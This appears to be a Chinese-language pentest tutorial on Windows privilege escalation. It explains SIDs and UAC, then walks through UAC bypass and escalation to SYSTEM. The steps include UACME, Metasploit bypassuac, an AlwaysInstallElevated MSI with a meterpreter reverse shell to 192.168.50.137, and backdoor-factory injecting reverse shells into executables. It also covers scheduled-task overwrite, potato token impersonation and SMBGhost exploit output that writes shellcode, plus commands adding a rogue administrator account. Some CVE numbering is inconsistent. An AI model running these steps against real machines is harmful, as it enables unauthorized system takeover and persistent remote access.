0x01.windows提权基本介绍
1.提权分类
纵向提权
低权限角色获取高权限角色的权限
横向提权
获取同级别角色的权限
常用提权方法
- 系统内核溢出漏洞提权
- 数据库提权
- 错误的系统配置提权
- 组策略首选项提权
- Web中间件漏洞提权
- DLL劫持提权
- 滥用高危权限令牌提权
- 第三方软件/服务提权
2.安全标识符(SID)
安全标识符(SID)是Windows操作系统使用的独一无二的,不变的标识符用于标识用户、用户群、或其他安全主体.操作系统也是通过SID来识别用户的,并不是所谓的用户名
安全标识符一经产生,不会与全世界任何的安全标识符重复;也不随用户更名而变化。如果删除了用户帐户,然后再创建同名帐户,则产生的安全标识符是不同的。
查询自己的SID可以通过:whoami /user
查询其他用户的SID可以通过WMI命令查询:wmic useraccount where name=%username% get sid
所有的SID都以S-1-5-21
开头,否则将是唯一的。Windows中管理员帐户的SID始终以500结尾。 Guest帐户的SID总是以501结尾。您还可以在每个与特定内置帐户相对应的Windows安装中找到SID。例如,S-1-5-18
SID可以在您遇到的任何Windows副本中找到,并对应于LocalSystem
帐户,即在用户登录之前在Windows中加载的系统帐户。
以下是用户SID的示例:S-1-5-21-1180699209-877415012-3182924384-1004
。 SID是我家用电脑上的帐户号码 - 您的帐号会有所不同。
常见的SID列表:
S-1-5-18 (LocalSystem) S-1-5-19 (LocalService) S-1-5-20 (NetworkService) S-1-5-32-544 (Administrators) S-1-5-32-545 (Users) S-1-5-32-550 (PrintOperators)
3.UAC
用户账户控制UAC:UAC 是 win10 操作系统中非常重要的安全功能,它起源于 windows vista 操作系统,流行于windows7、windows8。各种功能策略得到了完善的修订和开发,应用在win10操作系统中,目的是减少恶意软件对系统的侵害(比如大部分的恶意软件、木马病毒、广告插件在进入计算机是都会有如下操作:文件复制到到windows目录,安装驱动,安装activex等操作)。
操作系统默认情况下是启用UAC,当用户运行软件就会触发UAC规则。执行的时候就需要权限,否则是不会运行的。
不涉及到更改计算机操作的项目是不会触发UAC规则的,能够触发UAC规则的常用操作包括以下内容:
- 运行应用程序
- 修改注册表文件
- 安装或者卸载程序
- 安装设备驱动程序
- 增加或者删除用户账户
- 复制文件到windows目录
用户操作以上内容时就会触发UAC规则,系统会弹出提示对话框。简单来说,弹出对话框操作就是临时提升用户权限,允许程序运行。
UAC的实现
-
ACL (Access Control List) : Windows中所有资源都有ACL ,这个列表决定了拥有何种权限的用户/进程能够这个资源。
-
在开启了UAC之后,如果用户是标准用户,Windows会给用户分配一个标准Access Token
-
如果用户以管理员权限登陆,会生成两份访问令牌,一份是完整的管理员访问令牌(Full Access Token),一份是标准用户令牌。一般情况下会以标准用户权限启动Explorer.exe
进程。如果用户同意,则赋予完整管理员权限访问令牌进行操作。
-
可以使用whoami /priv
看当前的权限
4.提权的基础命令
net user
查看用户数量 whoami /priv
查看用户权限 quser
查看在线用户
tasklist
查看当前进程 net user a a /add
添加用户 net localgroup administrators a /add
添加用户到组
0x02.UAC绕过思路
1.Akagi工具获取UAC权限
项目地址:https://github.com/hfiref0x/UACME
下载后进行编译
调用直接运行cmd。绕过uac启动管理员权限的cmd
2.MSF获取UAC权限
msf > use exploit/windows/local/bypassuac |
没有使用bypassuac这个模块的session,进入shell创建用户
可以看见无法创建新用户,被拒绝
使用bypassuac重新获取到一个session之后,在进入shell创建用户
成功创建
3.msi文件直接获取超级管理员权限
我们可以使用msf生成一个msi文件,在windows中,msi文件会以高级管理员权限运行,上线之后的权限就是system.
前提是目标系统上启用AlwaysInstallElevated这个策略
AlwaysInstallElevated
是一个策略设置,当在系统中使用Windows Installer
安装任何程序时,该参数允许非特权用户以system权限运行明msi文件。如果目标系统上启用了这一设置,我们可以使用msf生成msi文件以system权限执行任意payload。
msf6 exploit(windows/local/bypassuac) > use exploit/multi/handler |
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp |
msf6 exploit(multi/handler) > set LPORT 4444 |
msf6 exploit(multi/handler) > exploit |
msf集成了漏洞利用模块:
exploit/windows/local/always_install_elevated
msf6 exploit(multi/handler) > use exploit/windows/local/always_install_elevated |
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp |
msf6 exploit(windows/local/always_install_elevated) > show options |
Module options (exploit/windows/local/always_install_elevated): |
Name Current Setting Required Description |
---- --------------- -------- ----------- |
SESSION yes The session to run this module on. |
Payload options (windows/meterpreter/reverse_tcp): |
Name Current Setting Required Description |
---- --------------- -------- ----------- |
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) |
LHOST 192.168.50.137 yes The listen address (an interface may be specified) |
LPORT 4444 yes The listen port |
4.dll后门注入绕过UAC
使用文件绑定形式绑定flash.exe
copy /b+ a.exe+b.exe c.exe
使用backdoor这款工具注入dll或者exe the-backdoor-factory
./backdoor.py -f /root/test.exe -H 192.168.50.137 -P 4444 -s reverse_shell_tcp_inline
如果不知道使用什么后门,可以直接让程序自己判断
./backdoor.py -f /root/test.exe -H 192.168.50.137 -P 4444
5.计划任务提权
在Windows中可以利用计划任务覆盖原有的程序来进行替换
可以使用如下命令查看计算机上的计划任务。
schtasks /query /fo LIST /v
使用如下命令可以查看指定目录的权限配置情况。如果我们对以高权限运行的任务所在目录具有写入权限,就可以使用恶意程序覆盖掉原来的程序。当计划任务下次执行时,就会以高权限运行恶意程序,进而完成提权。
accesschk.exe -dqv D:test -accepteula
6.Windows10 以下通杀提权
CVE-2019-1468是Win32特权提升漏洞,可以直接提权windows10以下版本
盖提权可能导致蓝屏的问题
https://github.com/unamer/CVE-2019-1458
7.JuicyPotato2.exe提权
利用MS16-075漏洞来进行提权
FoxGlove公布(https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075)的potato及Tate(https://github.com/Kevin-Robertson/Tater)公布的Tater.ps1利用程序。
msf exploit(web_delivery) > set ExitOnsession false |
msf exploit(web_delivery) > run |
Server username: IIS APPPOOL\DefaultAppPool |
=========================================================== |
Enabled Process Privileges |
=========================================================== |
SeAssignPrimaryTokenPrivilege |
meterpreter > upload /root/potato.exe C:\Users\Public |
meterpreter > cd C:\\Users\\Public |
meterpreter > use incognito |
meterpreter > list_tokens -u |
meterpreter > execute -cH -f ./potato.exe |
meterpreter > list_tokens -u |
meterpreter > impersonate_token NT AUTHORITY\\SYSTEM |
Server username: NT AUTHORITY\SYSTEM |
8.其他
$SMBGhost_RCE_PoC python exploit.py -ip 192.168.142.131 |
[+] found low stub at phys addr 13000! |
[+] base of HAL heap at fffff79480000000 |
[+] ntoskrnl entry at fffff80645792010 |
[+] found PML4 self-ref entry 1eb |
[+] found HalpInterruptController at fffff79480001478 |
[+] found HalpApicRequestInterrupt at fffff80645cb3bb0 |
[+] KUSER_SHARED_DATA PTE at fffff5fbc0000000 |
[+] KUSER_SHARED_DATA PTE NX bit cleared! |
[+] Wrote shellcode at fffff78000000a00! |
[+] Press a key to execute shellcode! |
[+] overwrote HalpInterruptController pointer, should have execution shortly... |
0x03.漏洞提权
1.漏洞提权思路
- 执行systeminfo命令查看是否出资按漏洞补丁
systeminfo > 1.txt
- 使用工具网站
https://i.hacking8.com/tiquan
2.第三方软件提权
0x04.提权思路
参考
安全标识符(SID)